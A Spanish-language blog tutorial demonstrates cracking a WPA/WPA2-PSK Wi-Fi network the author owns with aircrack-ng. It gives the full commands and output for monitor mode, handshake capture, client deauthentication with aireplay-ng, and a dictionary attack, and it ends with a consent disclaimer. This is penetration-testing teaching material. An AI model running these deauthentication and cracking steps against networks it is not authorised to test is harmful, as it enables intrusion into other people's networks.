Bienvenidos a un nuevo post en ByteMind. En este caso les vamos a enseñar como crackear una red wifi con autenticación WPA/WPA2 mediante la suite aircrack-ng.
WPA/WPA2 admiten muchos tipos de autenticación más allá de las claves previamente compartidas, pero aircrack-ng sólo puede descifrar claves previamente compartidas. Por lo tanto cuando se muestre el tipo de autenticación de la red, este debe de ser del tipo PSK para poder completar satisfactoriamente el ataque.
En el caso de WPA/WPA2 sólo se pueden utilizar técnicas de fuerza bruta simples, por lo que no hay forma de acelerar el proceso. Es decir, la clave no es estática, por lo que la recopilación de IV, como se hace en el cifrado WEP, no es útil en este caso y, dado que la clave precompartida puede tener una longitud de entre 8 y 63 caracteres, resulta un poco tedioso descifrar la clave.
Dicho esto, quiere decir que para poder obtener la contraseña de conexión al punto de acceso, se requiere que la misma se encuentre en el diccionario utilizado para el ataque. Si quieren saber cuanto tardaría en procesar un diccionario les dejo este enlace a una calculadora de tiempo de fuerza bruta, con el que podrán calcular el tiempo que conllevaría recorrer el diccionario entero.
Con respecto a WPA y WPA2, la metodología de autenticación es básicamente la misma entre ellos, por lo que la técnica utilizada será la misma.
Para la realización de esta prueba, en nuestro caso, hemos creado un nuevo punto de acceso sobre el cual realizar las pruebas y verificar el funcionamiento de la misma. Sin más dilación, comencemos:
Índice
Resumen de la POC
El objetivo de esta POC es capturar el protocolo de enlace de autenticación, ya sea WPA o WPA2, y posteriormente utilizar aircrack-ng para descifrar la clave previamente compartida.
Esto podría realizarse de dos formas, activa o pasiva.
- activa -> se acelerará el proceso al desautenticar a un cliente inalámbrico existente.
- pasiva -> simplemente se esperará a que un cliente se autentifique en la red
Los pasos para realizarla serán:
- Iniciar la interfaz inalámbrica en modo monitor
- Iniciar airodump-ng en el canal AP filtrando el bssid objectivo
- Utilizar aireplay-ng para desautenticar al cliente
- Utilizar aircrack-ng para descifrar la clave precompartida
Iniciar la interfaz en modo monitor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ iwconfig eth1 no wireless extensions. eth2 no wireless extensions. lo no wireless extensions. wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off eth0 no wireless extensions. |
1 2 3 4 |
$ airmon-ng PHY Interface Driver Chipset phy0 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187 |
A continuación, en nuestro caso la interfaz wlan0, la paramos con airmon-ng
1 2 3 4 |
$ airmon-ng stop wlan0 PHY Interface Driver Chipset phy0 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187 |
Y posteriormente la levantaremos con esta misma herramienta para establecer el modo monitor:
1 2 3 4 5 6 7 |
$ airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0 rtl8187 Realtek Semiconductor Corp. RTL8187 (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) |
Como vemos, nos ha levantado nuestra tarjeta en modo monitor, podemos verificarlo con antes con iwconfig, donde también vemos que ha cambiado el nombre de wlan0 por wlan0mon
1 2 3 4 5 6 7 8 9 10 11 12 |
$ iwconfig eth1 no wireless extensions. eth2 no wireless extensions. lo no wireless extensions. wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Power Management:on eth0 no wireless extensions. |
Iniciar la captura con airodump-ng
Ahora que ya disponemos de nuestra tarjeta en modo monitor, lanzaremos entonces airodump-ng con nuestra interfaz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ airodump-ng wlan0mon CH 12 ][ Elapsed: 1 min ][ 2020-05-06 19:57 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:00:00:00:00:00 -39 58 0 0 3 195 WPA2 CCMP PSK testwifi 11:11:11:11:11:11 -38 44 0 0 3 195 WPA2 CCMP PSK XXXXXXXXX BSSID STATION PWR Rate Lost Frames Probe 00:00:00:00:00:00 11:11:11:11:11:11 -65 0 - 1e 0 1 |
Para evitar ofrecer datos ajenos, ocultamos la mac de nuestro punto de acceso y del cliente y vemos en la respuesta anterior nuestro punto de acceso llamado “testwifi”.
Iniciaremos entonces la captura sobre el mismo:
1 2 3 4 5 6 7 8 9 10 11 12 |
$ airodump-ng -c 1 --bssid 00:00:00:00:00:00 -w psk wlan0mon CH 10 ][ Elapsed: 10 mins ][ 2020-05-06 20:08 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:00:00:00:00:00 -41 366 24 0 1 195 WPA2 CCMP PSK testwifi BSSID STATION PWR Rate Lost Frames Probe 00:00:00:00:00:00 11:11:11:11:11:11 -8 0 - 1e 0 207 testwifi |
Pasamos a explicar las opciones utilizadas:
- -c -> indicamos el canal utilizado
- –bssid -> indicamos el bssid de nuestro punto de acceso
- -w -> indicamos el nombre del fichero en el cual guardar los datos de la captura
- wlan0mon -> por último indicamos el nombre de la interfaz utilizada
Como vemos en la anterior captura, el método de autenticación utilizado es PSK y que utilizaremos para llevar a cabo nuestro ataque.
La ejecución de airodump la dejaremos en una ventana y abriremos una nueva para los siguientes pasos.
Desautenticar al cliente con aireplay-ng
El siguiente paso, en nuestro ataque activo, será ejecutar aireplay para desautenticar al cliente y forzarle a realizar de nuevo la conexión. Este paso es opcional, si tiene paciencia, puede esperar hasta que airodump capture una autenticación de uno o más clientes al punto de acceso. Al realizarlo de esta forma se acelera de forma efectiva el proceso. Si se da el caso en el que no hay ningún cliente conectado se deberá esperar a que al menos uno se conecte, ya que sino no será efectivo el ataque.
Este paso envía un mensaje al cliente indicando que ya no está conectado, lo que forzará que se autentifique de nuevo con el AP. La reautenticación es lo que generará el protocolo de enlace de autenticación de 4 vías que necesitamos recopilar para romper la clave precompartida WPA/WPA2.
Ahora ejecutaremos entonces aireplay-ng:
1 2 3 |
$ aireplay-ng -0 1 -a 00:00:00:00:00:00 -c 11:11:11:11:11:11 wlan0mon 20:08:18 Waiting for beacon frame (BSSID: 00:00:00:00:00:00) on channel 1 20:08:18 Sending 64 directed DeAuth (code 7). STMAC: [11:11:11:11:11:11] [ 0| 007:08:18 Sending 64 directed DeAuth (code 7). STMAC: [11:11:11:11:11:11] [ 1| 0 |
Pasamos a explicar las opciones utilizadas:
- -0 -> significa la desautenticación
- 1 -> es el número de deauths enviados para desautenticar, pero puede enviar tantos como desee
- -a -> se indica la dirección mac del punto de acceso (bssid)
- -c -> se indica la dirección mac del cliente (station)
- wlan0mon -> es el nombre de nuestra interfaz
Con suerte, se conseguirá que el cliente se reautentifique, forzando el protocolo de 4 vías.
Cabe destacar que los paquetes de autenticación se envían directamente desde su PC a los clientes, por lo que deberá estar físicamente lo suficientemente cerca de los clientes y del punto de acceso para poder confirmar que el cliente recibió los paquetes para la autentificación. Puede verificarlo mediante el uso de por ejemplo tcpdump para comprobar que recibe el paquete ACK, si no lo recibe es que el cliente no ha recibido el paquete de autentificación.
Descifrar la clave precompartida con aircrack-ng
El propósito de este último paso será intentar descifrar la clave precompartida mediante un ataque por diccionario. Por defecto, aircrack-ng ya dispone de un diccionario bastante extenso llamado password.lst, aunque no siempre es efectivo. Si desea utilizar otro diccionario, puede encontrar multitud de ellos en internet, en la wiki de esta herramienta puede encontrar enlaces a varios de ellos o, puede crear el suyo propio mediante herramientas como crunch o John The Ripper.
En nuestro caso hemos creado un diccionario pequeño, ya que conocemos la password, para verificar el correcto funcionamiento y no demorarnos demasiado tiempo en la práctica del ataque.
Lanzaremos nuestro comando con aircrack-ng de la siguiente forma:
1 |
$ aircrack-ng -w dictionary.txt -b 00:00:00:00:00:00 psk*.cap |
Explicamos las opciones utilizadas:
- -w -> indicamos el diccionario a utilizar en nuestro ataque
- -b -> indicamos la bssid del punto de acceso
- psk*.cap -> indicamos los ficheros almacenados de las capturas realizadas con airodump
Esperamos a que recorre y compruebe las contraseñas existentes en nuestro diccionario y obtenemos la password del punto de acceso:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
please wait... Opening psk-01.cap Opening psk-03.cap Opening psk-02.cap Read 8784 packets. 1 potential targets Aircrack-ng 1.5.2 [00:00:00] 2/1 keys tested (128.71 k/s) Time left: 2 seconds 200.00% KEY FOUND! [ 123456789 ] Master Key : F3 52 3B 2E C3 16 08 9F 8E 29 5D 17 50 34 88 4D 97 5F B7 6B 3D 98 53 25 1F 01 7D FB AF 8A C4 4F Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
Y tenemos la clave “123456789” de nuestro punto de acceso.
Esto ha sido todo por el momento, espero les haya gustado y les sea de utilidad. Y recordar, esto sólo podéis hacerlo con un punto de acceso vuestro o habiendo firmado previamente el pertinente contrato. Intentar hackear el punto de acceso de otra persona y, sin su consentimiento, es ilegal, y por lo tanto no nos hacemos responsables de cualquier acto indebido con la ayuda de este tutorial.
Como siempre cualquier aporte, duda o sugerencia es bienvenida en la sección de comentarios.